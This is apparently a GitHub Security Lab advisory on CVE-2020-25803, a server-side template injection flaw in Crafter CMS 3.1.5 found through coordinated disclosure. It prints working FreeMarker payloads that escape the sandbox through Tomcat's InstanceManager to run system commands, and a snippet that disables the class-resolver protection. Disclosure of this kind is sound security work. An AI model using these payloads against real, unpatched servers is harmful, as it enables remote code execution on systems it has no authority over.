Summary
A user with privileges to edit a FreeMarker template may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running Crafter CMS.
Product
Crafter CMS
Tested Version
3.1.5
CVE
CVE-2020-25803
Details
Server-Side Template Injection
Even though Crafter CMS does a good job disabling insecure defaults so that the ?new
built-in cannot be used since CVE-2018-19907 was fixed, it still exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.
Deep inspection of the exposed objects’ object graph enables an attacker to get access to objects that allow them to instantiate arbitrary Java objects. In particular ${siteContext.servletContext}
gives us access to the Servlet Context where interesting objects can be found. We can then list all Servlet Context attributes with:
<#list siteContext.servletContext.getAttributeNames() as item>
<p>${item}</p>
</#list>
On a Tomcat server (used in official Crafter CMS Docker image), we get:
javax.servlet.context.tempdir
org.apache.catalina.resources
org.apache.tomcat.InstanceManager
org.apache.catalina.jsp_classpath
org.apache.logging.log4j.web.Log4jWebSupport.INSTANCE
org.apache.jasper.compiler.TldCache
org.apache.tomcat.JarScanner
org.springframework.web.servlet.FrameworkServlet.CONTEXT.Spring MVC Dispatcher Servlet
javax.servlet.context.orderedLibs
org.apache.logging.log4j.spi.LoggerContext.INSTANCE
org.springframework.web.context.support.ServletContextScope
org.springframework.web.context.WebApplicationContext.ROOT
javax.websocket.server.ServerContainer
The most interesting one is org.apache.tomcat.InstanceManager
which enables us to instantiate arbitrary objects. Note that this class is available on e.g. Jetty as well and similar classes are available in other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage
.
We can then try to run arbitrary Java code using a ScriptEngine
:
${siteContext.servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')")}
Or we can use freemarker.template.utility.Execute
instead:
${siteContext.servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute')("touch /tmp/pwned")}
siteContext
also provides access to the FreeMarker configuration so it is possible to modify it to disable the sandbox:
<p><b>Disable TemplateClassResolver protection</b></p>
<#assign n=fc.setNewBuiltinClassResolver(fc.getDefaultConfiguration().getNewBuiltinClassResolver())>
<#attempt>
<p>- ${"freemarker.template.utility.Execute"?new()("id")}</p>
<#recover>
<p>- ${.error}</p>
</#attempt>
Impact
This issue may lead to Remote Code Execution
.
Coordinated Disclosure Timeline
- 03/23/2020: Filed issue on github asking for security contact
- 03/23/2020: Sent report to: security@craftersoftware.com
- 05/04/2020: Fix is shared with GitHub Security Lab for review.
- 06/03/2020: Fix is released as part of 3.1.7 version.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include the GHSL-2020-042
in any communication regarding this issue.